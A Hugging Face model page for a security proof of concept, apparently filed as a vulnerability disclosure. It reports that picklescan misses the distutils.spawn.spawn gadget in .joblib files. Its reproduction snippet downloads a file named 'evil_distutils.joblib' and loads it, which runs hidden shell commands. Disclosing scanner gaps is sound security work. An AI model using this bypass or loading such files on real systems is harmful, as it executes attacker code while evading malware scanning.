Downloads · 30 days
0
distutils-spawn-picklescan-bypass
th3-j0k3r/distutils-spawn-picklescan-bypass
distutils-spawn-picklescan-bypass is a machine learning model from th3-j0k3r. Use it for the machine learning task on the model card, and read the license before you ship it in a product. The card lists the license as mit.
Security research PoC for huntr MFV submission.
Access
Public
Updated Jun 28, 2026
Repo size
241 B
Likes
0
Public
Repo makeup
Click a slice to open those files.
Other1.5 KB · 60%
At a glance
- License
- mit
- Access
- Public
- Created
- Jun 28, 2026
- Updated
- Jun 28, 2026
- SHA
- 6f7ec81d
Model card
From the Hugging Face model README
distutils.spawn.spawn — picklescan bypass PoC (.joblib)
Security research PoC for huntr MFV submission.
Vulnerability: distutils.spawn.spawn is absent from picklescan's _unsafe_globals denylist.
A .joblib file embedding this gadget executes arbitrary shell commands while picklescan reports
issues=0, infected_files=0 (CLEAN).
Affected: picklescan ≤ 1.0.4 (latest), Python ≤ 3.11
Reproduction
pip3 install joblib picklescan
python3 -c "
import os, joblib
from huggingface_hub import hf_hub_download
path = hf_hub_download('th3-j0k3r/distutils-spawn-picklescan-bypass', 'evil_distutils.joblib')
import io
from picklescan.scanner import scan_bytes
data = open(path,'rb').read()
r = scan_bytes(io.BytesIO(data), 'evil_distutils.joblib')
print('picklescan result: issues=%d infected=%d' % (r.issues_count, r.infected_files))
joblib.load(path)
"
- License
- mit
- Created
- Jun 28, 2026
- Updated
- Jun 28, 2026